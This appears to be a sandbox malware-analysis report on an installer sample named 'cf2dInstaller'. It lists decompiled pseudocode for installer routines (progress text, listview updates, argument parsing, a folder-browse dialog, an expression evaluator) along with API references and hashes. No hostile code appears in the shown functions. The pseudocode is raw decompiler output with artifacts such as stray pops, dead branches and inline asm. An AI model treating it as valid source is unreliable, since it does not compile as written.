Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 127149d4f0cce16dfe4a3af1efdcab4b76b2a353eb8979ce4d539156ac24bc73
Instruction ID: 62f2159171fbc9033078dd1539b67ba065abfcd1800d5973976be9d0b9eda31e
Opcode Fuzzy Hash: 127149d4f0cce16dfe4a3af1efdcab4b76b2a353eb8979ce4d539156ac24bc73
Instruction Fuzzy Hash: DE319F71C00128BBDF216FA5CD89EAE7E78EF04364F10422AF524772E0C7795D419BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404DAA, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404DAA(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x42e344; // 0x0
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x42ec14; // 0x0
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405A2E(0, _t39, 0x4297b8, 0x4297b8, _a4);
					}
					_t26 = lstrlenA(0x4297b8);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x42e328, 0x4297b8);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x4297b8;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x4297b8)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x4297b8, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404db0
0x00404dbc
0x00404dbf
0x00404dc5
0x00404dd1
0x00404dd4
0x00404dd7
0x00404ddd
0x00404ddd
0x00404de3
0x00404deb
0x00404dee
0x00404e0b
0x00404e0f
0x00404e18
0x00404e18
0x00404e22
0x00404e2b
0x00404e37
0x00404e3e
0x00404e42
0x00404e45
0x00404e58
0x00404e66
0x00404e66
0x00404e6a
0x00404e6c
0x00404e6f
0x00000000
0x00404e6f
0x00404df0
0x00404df8
0x00404e00
0x00404e06
0x00000000
0x00404e06
0x00404e00
0x00404dee
0x00404e79

APIs

lstrlenA.KERNEL32(004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000,?), ref: 00404DE3
lstrlenA.KERNEL32(00402FB6,004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000), ref: 00404DF3
lstrcatA.KERNEL32(004297B8,00402FB6,00402FB6,004297B8,00000000,0041B188,7519EA30), ref: 00404E06
SetWindowTextA.USER32(004297B8,004297B8), ref: 00404E18
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E3E
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E58
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E66

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 9ef0e2670907023d07375e8b034d823c091f4981704811d48de470d933e2da59
Instruction ID: 64f14355eea1465708e63b557f2fc924fecf56a011f776fb8de10cf69f9f2b8c
Opcode Fuzzy Hash: 9ef0e2670907023d07375e8b034d823c091f4981704811d48de470d933e2da59
Instruction Fuzzy Hash: F7216071A00118BBDB119FA9DD85ADEBFA9FF44354F14807AF904B6290C7398E418F98

Uniqueness

Uniqueness Score: -1.00%

Function 00404679, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404679(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404687
0x00404694
0x0040469a
0x004046d8
0x004046d8
0x004046e7
0x004046ee
0x00000000
0x004046f0
0x0040469c
0x004046ab
0x004046b3
0x004046b6
0x004046c8
0x004046ce
0x004046d5
0x00000000
0x004046d5
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404694
GetMessagePos.USER32 ref: 0040469C
ScreenToClient.USER32 ref: 004046B6
SendMessageA.USER32(?,00001111,00000000,?), ref: 004046C8
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004046EE

Strings

f, xrefs: 004046CA

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: b5388fb2048f9adb4f66bcd81e9da03b2d8faafec29f08353259a6dacb87349b
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: 0E014071D00219BADB00DB94DC45BEEBBB8AB59711F10016ABA11B61C0D7B865418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B3B(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x414b80; // 0xee57b
					_t11 =  *0x428b90; // 0xefb68
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b48
0x00402b56
0x00402b5c
0x00402b5c
0x00402b6a
0x00402b6c
0x00402b72
0x00402b79
0x00402b7b
0x00402b7b
0x00402b91
0x00402ba1
0x00402bb3
0x00402bb3
0x00402bbb

APIs

SetTimer.USER32 ref: 00402B56
MulDiv.KERNEL32(000EE57B,00000064,000EFB68), ref: 00402B81
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32 ref: 00402BB3

Strings

verifying installer: %d%%, xrefs: 00402B8B

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: fb9d5c419c19e2bdb6c378f6819b1ebc1dc21d5e7d0f0b4f2b85ce684f360012
Instruction ID: 3d98ddf4d84b742d5460afe4edfb6d9be597fa80bf04213b3bc288f28cb5f5da
Opcode Fuzzy Hash: fb9d5c419c19e2bdb6c378f6819b1ebc1dc21d5e7d0f0b4f2b85ce684f360012
Instruction Fuzzy Hash: 82014470A40209ABDB209F60DD09FAE3779BB04345F008039FA06A92D1D7B8AA558F99

Uniqueness

Uniqueness Score: -1.00%

Function 70551AA0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 91
memoryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E70551AA0(void* __edx, void* __eflags, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t30;
				void* _t31;
				void* _t34;
				void* _t36;
				long _t38;
				void* _t39;
				void* _t40;

				_t34 = __edx;
				_t30 = _a20;
				_t38 = _a8;
				 *0x70554030 = _a16;
				 *0x7055402c = _t38;
				 *0x70554034 = _a12;
				 *((intOrPtr*)(_t30 + 0xc))( *0x70554010, E7055176B);
				_a8 = _a8 & 0x00000000;
				_t39 = GlobalAlloc(0, _t38);
				if(E70552058(_t39) == 0) {
					_t36 = E70551070(_t39);
					while(1) {
						L11:
						_pop(_t31);
						while(E70552058(_t39) == 0) {
							if(_t36 == 0) {
								continue;
							} else {
								_t22 = E7055177D(_t31, _t39, "/at=", 4, 1);
								_t40 = _t40 + 0x10;
								if(_t22 != 0) {
									_t23 = E7055177D(_t31, _t39, "/val=", 5, 1);
									_t40 = _t40 + 0x10;
									if(_t23 != 0) {
										_push("/end");
										_push(_t39);
										if( *0x7055300c() != 0) {
											_t25 = E70551190(_t36, _t39);
											goto L9;
										}
									} else {
										_t9 = _t39 + 5; // 0x5
										_t25 = E70551210(_t36, _t9);
										goto L9;
									}
								} else {
									_t8 = _t39 + 4; // 0x4
									_t25 = E705511D0(_t34, _t36, E705520DD(_t8));
									L9:
									_pop(_t31);
									if(_t25 != 0) {
										E70551120(_t36, _t25);
										_a8 = 1;
										goto L11;
									}
									continue;
								}
							}
							break;
						}
						goto L14;
					}
				}
				L14:
				_t18 = GlobalFree(_t39);
				if(_a8 == 0) {
					_t19 =  *_t30;
					 *((intOrPtr*)(_t19 + 8)) = 1;
					return _t19;
				}
				return _t18;
			}

0x70551aa0
0x70551aa7
0x70551aab
0x70551ab9
0x70551ac1
0x70551ac7
0x70551acc
0x70551acf
0x70551adc
0x70551ae6
0x70551af3
0x70551b71
0x70551b71
0x70551b71
0x70551b72
0x70551af9
0x00000000
0x70551afb
0x70551b05
0x70551b0a
0x70551b0f
0x70551b2d
0x70551b32
0x70551b37
0x70551b45
0x70551b4a
0x70551b53
0x70551b57
0x00000000
0x70551b57
0x70551b39
0x70551b39
0x70551b3e
0x00000000
0x70551b3e
0x70551b11
0x70551b11
0x70551b1c
0x70551b5c
0x70551b5d
0x70551b60
0x70551b64
0x70551b6a
0x00000000
0x70551b6a
0x00000000
0x70551b60
0x70551b0f
0x00000000
0x70551af9
0x00000000
0x70551b80
0x70551b71
0x70551b81
0x70551b82
0x70551b8c
0x70551b8e
0x70551b90
0x00000000
0x70551b90
0x70551b9a

APIs

GlobalAlloc.KERNEL32(00000000,?), ref: 70551AD6

Part of subcall function 70552058: lstrcpy.KERNEL32(?,00000004), ref: 70552077
Part of subcall function 70552058: GlobalFree.KERNEL32(00000000), ref: 70552087

GlobalFree.KERNEL32(00000000), ref: 70551B82

Part of subcall function 70551070: lstrcmp.KERNEL32(00000000,?), ref: 70551094

Strings

/val=, xrefs: 70551B27
/end, xrefs: 70551B45
/at=, xrefs: 70551AFF

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$Alloclstrcmplstrcpy
String ID: /at=$/end$/val=
API String ID: 591533167-2268447431
Opcode ID: 154aec762dbd57991b148d6f622ee32fa131f5e1959398af9e3dbc97f6486c1c
Instruction ID: 9c2365ecad6442fbca123dcc39acc209b21602e8a43959a67b3c4f74772e4893
Opcode Fuzzy Hash: 154aec762dbd57991b148d6f622ee32fa131f5e1959398af9e3dbc97f6486c1c
Instruction Fuzzy Hash: DF219136101600AEE7119F26CC4DF5F3FAFAF45660F20405BFA059A3A0F774A9098A6D

Uniqueness

Uniqueness Score: -1.00%

Function 02F91021, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E02F91021(void* __eflags, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _v24;
				char* _v28;
				signed int _v32;
				char _v36;
				char _v296;
				char _v556;
				char _v1580;
				char* _t35;
				char* _t36;
				void* _t37;
				char* _t39;

				 *0x2f950dc = _a8;
				 *0x2f950e0 = _a16;
				 *0x2f950e4 = _a12;
				if(E02F91DD9( &_v1580, 0x104) != 0 || E02F91DD9( &_v556, 0x400) != 0) {
					L3:
					return E02F91E27("error");
				} else {
					_v32 = _v32 & 0x00000000;
					_v36 = _a4;
					_v28 =  &_v296;
					_v8 = _v8 & 0x00000000;
					_v24 =  &_v1580;
					_v20 = 0x45;
					_v12 =  &_v556;
					_t35 =  &_v36;
					_v16 = E02F91000;
					__imp__SHBrowseForFolderA(_t35);
					_t39 = _t35;
					if(_t39 != 0) {
						_t36 =  &_v296;
						__imp__SHGetPathFromIDListA(_t39, _t36);
						if(_t36 == 0) {
							_push("error");
						} else {
							_push( &_v296);
						}
						_t37 = E02F91E27();
						__imp__CoTaskMemFree();
						return _t37;
					}
					goto L3;
				}
			}

0x02f9102e
0x02f91036
0x02f9103e
0x02f91056
0x02f910b4
0x00000000
0x02f9106d
0x02f91070
0x02f91074
0x02f9107d
0x02f91086
0x02f9108a
0x02f91093
0x02f9109a
0x02f9109d
0x02f910a1
0x02f910a8
0x02f910ae
0x02f910b2
0x02f910c0
0x02f910c8
0x02f910d0
0x02f910db
0x02f910d2
0x02f910d8
0x02f910d8
0x02f910e0
0x02f910e6
0x00000000
0x02f910e6
0x00000000
0x02f910b2

APIs

Part of subcall function 02F91DD9: lstrcpynA.KERNEL32(02F91054,?,?,?,02F91054,?), ref: 02F91E06
Part of subcall function 02F91DD9: GlobalFree.KERNEL32 ref: 02F91E16

SHBrowseForFolderA.SHELL32(?,?,00000400,?,00000104), ref: 02F910A8
SHGetPathFromIDListA.SHELL32(00000000,?), ref: 02F910C8
CoTaskMemFree.OLE32(00000000,error), ref: 02F910E6

Strings

E, xrefs: 02F91093
error, xrefs: 02F910B4, 02F910DB

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: Free$BrowseFolderFromGlobalListPathTasklstrcpyn
String ID: E$error
API String ID: 1728609016-2359134700
Opcode ID: ba002a569eec831e8507298eedd27095a74ee5c1e936e795eda90ee7a174c858
Instruction ID: bdbb4d4b9755dba352dfaffc94c7a850d97273a254e483b561cd70883f5231ef
Opcode Fuzzy Hash: ba002a569eec831e8507298eedd27095a74ee5c1e936e795eda90ee7a174c858
Instruction Fuzzy Hash: D5215BB1D0121E9BEF12DF90D944BDFB7F8AB08B84F0045A2E60AF6110E775D6648F91

Uniqueness

Uniqueness Score: -1.00%

Function 10001ADF, Relevance: 7.7, APIs: 5, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E10001ADF(signed int __edx, void* __eflags, void* _a8, void* _a16) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v148;
				void _t46;
				void _t47;
				signed int _t48;
				signed int _t49;
				signed int _t58;
				signed int _t59;
				signed int _t61;
				signed int _t62;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				signed int _t78;
				void* _t82;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				void* _t102;

				_t86 = __edx;
				 *0x10004058 = _a8;
				_t78 = 0;
				 *0x1000405c = _a16;
				_v8 = 0;
				_a16 = E10001561();
				_a8 = E10001561();
				_t91 = E10001641(_a16);
				_t82 = _a8;
				_t88 = _t86;
				_t46 =  *_t82;
				if(_t46 != 0x7e && _t46 != 0x21) {
					_v16 = E10001561();
					_t78 = E10001641(_t75);
					_v8 = _t86;
					GlobalFree(_v16);
					_t82 = _a8;
				}
				_t47 =  *_t82;
				_t102 = _t47 - 0x2f;
				if(_t102 > 0) {
					_t48 = _t47 - 0x3c;
					__eflags = _t48;
					if(_t48 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x3c;
						if( *((char*)(_t82 + 1)) != 0x3c) {
							__eflags = _t88 - _v8;
							if(__eflags > 0) {
								L54:
								_t49 = 0;
								__eflags = 0;
								L55:
								asm("cdq");
								L56:
								_t91 = _t49;
								_t88 = _t86;
								L57:
								E1000176C(_t86, _t91, _t88,  &_v148);
								E1000159E( &_v148);
								GlobalFree(_a16);
								return GlobalFree(_a8);
							}
							if(__eflags < 0) {
								L47:
								__eflags = 0;
								L48:
								_t49 = 1;
								goto L55;
							}
							__eflags = _t91 - _t78;
							if(_t91 < _t78) {
								goto L47;
							}
							goto L54;
						}
						_t86 = _t88;
						_t49 = E10002BF0(_t91, _t78, _t86);
						goto L56;
					}
					_t58 = _t48 - 1;
					__eflags = _t58;
					if(_t58 == 0) {
						__eflags = _t91 - _t78;
						if(_t91 != _t78) {
							goto L54;
						}
						__eflags = _t88 - _v8;
						if(_t88 != _v8) {
							goto L54;
						}
						goto L47;
					}
					_t59 = _t58 - 1;
					__eflags = _t59;
					if(_t59 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x3e;
						if( *((char*)(_t82 + 1)) != 0x3e) {
							__eflags = _t88 - _v8;
							if(__eflags < 0) {
								goto L54;
							}
							if(__eflags > 0) {
								goto L47;
							}
							__eflags = _t91 - _t78;
							if(_t91 <= _t78) {
								goto L54;
							}
							goto L47;
						}
						_t86 = _t88;
						_t49 = E10002C10(_t91, _t78, _t86);
						goto L56;
					}
					_t61 = _t59 - 0x20;
					__eflags = _t61;
					if(_t61 == 0) {
						_t91 = _t91 ^ _t78;
						_t88 = _t88 ^ _v8;
						goto L57;
					}
					_t62 = _t61 - 0x1e;
					__eflags = _t62;
					if(_t62 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x7c;
						if( *((char*)(_t82 + 1)) != 0x7c) {
							_t91 = _t91 | _t78;
							_t88 = _t88 | _v8;
							goto L57;
						}
						__eflags = _t91 | _t88;
						if((_t91 | _t88) != 0) {
							goto L47;
						}
						__eflags = _t78 | _v8;
						if((_t78 | _v8) != 0) {
							goto L47;
						}
						goto L54;
					}
					__eflags = _t62 == 0;
					if(_t62 == 0) {
						_t91 =  !_t91;
						_t88 =  !_t88;
					}
					goto L57;
				}
				if(_t102 == 0) {
					L21:
					__eflags = _t78 | _v8;
					if((_t78 | _v8) != 0) {
						_v20 = E10002A80(_t91, _t88, _t78, _v8);
						_v16 = _t86;
						_t49 = E10002B30(_t91, _t88, _t78, _v8);
						_t82 = _a8;
					} else {
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_t49 = _t91;
						_t86 = _t88;
					}
					__eflags =  *_t82 - 0x2f;
					if( *_t82 != 0x2f) {
						goto L56;
					} else {
						_t91 = _v20;
						_t88 = _v16;
						goto L57;
					}
				}
				_t68 = _t47 - 0x21;
				if(_t68 == 0) {
					_t49 = 0;
					__eflags = _t91 | _t88;
					if((_t91 | _t88) != 0) {
						goto L55;
					}
					goto L48;
				}
				_t69 = _t68 - 4;
				if(_t69 == 0) {
					goto L21;
				}
				_t70 = _t69 - 1;
				if(_t70 == 0) {
					__eflags =  *((char*)(_t82 + 1)) - 0x26;
					if( *((char*)(_t82 + 1)) != 0x26) {
						_t91 = _t91 & _t78;
						_t88 = _t88 & _v8;
						goto L57;
					}
					__eflags = _t91 | _t88;
					if((_t91 | _t88) == 0) {
						goto L54;
					}
					__eflags = _t78 | _v8;
					if((_t78 | _v8) == 0) {
						goto L54;
					}
					goto L47;
				}
				_t71 = _t70 - 4;
				if(_t71 == 0) {
					_t49 = E10002A40(_t91, _t88, _t78, _v8);
					goto L56;
				} else {
					_t72 = _t71 - 1;
					if(_t72 == 0) {
						_t91 = _t91 + _t78;
						asm("adc edi, [ebp-0x4]");
					} else {
						if(_t72 == 0) {
							_t91 = _t91 - _t78;
							asm("sbb edi, [ebp-0x4]");
						}
					}
					goto L57;
				}
			}

0x10001adf
0x10001aec
0x10001af5
0x10001af8
0x10001afd
0x10001b05
0x10001b10
0x10001b19
0x10001b1b
0x10001b1e
0x10001b20
0x10001b24
0x10001b30
0x10001b39
0x10001b3e
0x10001b41
0x10001b47
0x10001b47
0x10001b4a
0x10001b4d
0x10001b50
0x10001c16
0x10001c16
0x10001c19
0x10001c82
0x10001c86
0x10001c95
0x10001c98
0x10001ca0
0x10001ca0
0x10001ca0
0x10001ca2
0x10001ca2
0x10001ca3
0x10001ca3
0x10001ca5
0x10001ca7
0x10001cb0
0x10001cbc
0x10001ccd
0x10001cd8
0x10001cd8
0x10001c9a
0x10001c7d
0x10001c7d
0x10001c7f
0x10001c7f
0x00000000
0x10001c7f
0x10001c9c
0x10001c9e
0x00000000
0x00000000
0x00000000
0x10001c9e
0x10001c8a
0x10001c8e
0x00000000
0x10001c8e
0x10001c1b
0x10001c1b
0x10001c1c
0x10001c74
0x10001c76
0x00000000
0x00000000
0x10001c78
0x10001c7b
0x00000000
0x00000000
0x00000000
0x10001c7b
0x10001c1e
0x10001c1e
0x10001c1f
0x10001c54
0x10001c58
0x10001c67
0x10001c6a
0x00000000
0x00000000
0x10001c6c
0x00000000
0x00000000
0x10001c6e
0x10001c70
0x00000000
0x00000000
0x00000000
0x10001c72
0x10001c5c
0x10001c60
0x00000000
0x10001c60
0x10001c21
0x10001c21
0x10001c24
0x10001c4d
0x10001c4f
0x00000000
0x10001c4f
0x10001c26
0x10001c26
0x10001c29
0x10001c35
0x10001c39
0x10001c46
0x10001c48
0x00000000
0x10001c48
0x10001c3b
0x10001c3d
0x00000000
0x00000000
0x10001c3f
0x10001c42
0x00000000
0x00000000
0x00000000
0x10001c44
0x10001c2c
0x10001c2d
0x10001c2f
0x10001c31
0x10001c31
0x00000000
0x10001c2d
0x10001b56
0x10001bce
0x10001bd0
0x10001bd3
0x10001bf1
0x10001bf4
0x10001bfa
0x10001bff
0x10001bd5
0x10001bd5
0x10001bd9
0x10001bdd
0x10001bdf
0x10001bdf
0x10001c02
0x10001c05
0x00000000
0x10001c0b
0x10001c0b
0x10001c0e
0x00000000
0x10001c0e
0x10001c05
0x10001b58
0x10001b5b
0x10001bbf
0x10001bc1
0x10001bc3
0x00000000
0x00000000
0x00000000
0x10001bc9
0x10001b5d
0x10001b60
0x00000000
0x00000000
0x10001b62
0x10001b63
0x10001b99
0x10001b9d
0x10001bb5
0x10001bb7
0x00000000
0x10001bb7
0x10001b9f
0x10001ba1
0x00000000
0x00000000
0x10001ba7
0x10001baa
0x00000000
0x00000000
0x00000000
0x10001bb0
0x10001b65
0x10001b68
0x10001b8f
0x00000000
0x10001b6a
0x10001b6a
0x10001b6b
0x10001b7f
0x10001b81
0x10001b6d
0x10001b6f
0x10001b75
0x10001b77
0x10001b77
0x10001b6f
0x00000000
0x10001b6b

APIs

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalFree.KERNEL32 ref: 10001B41
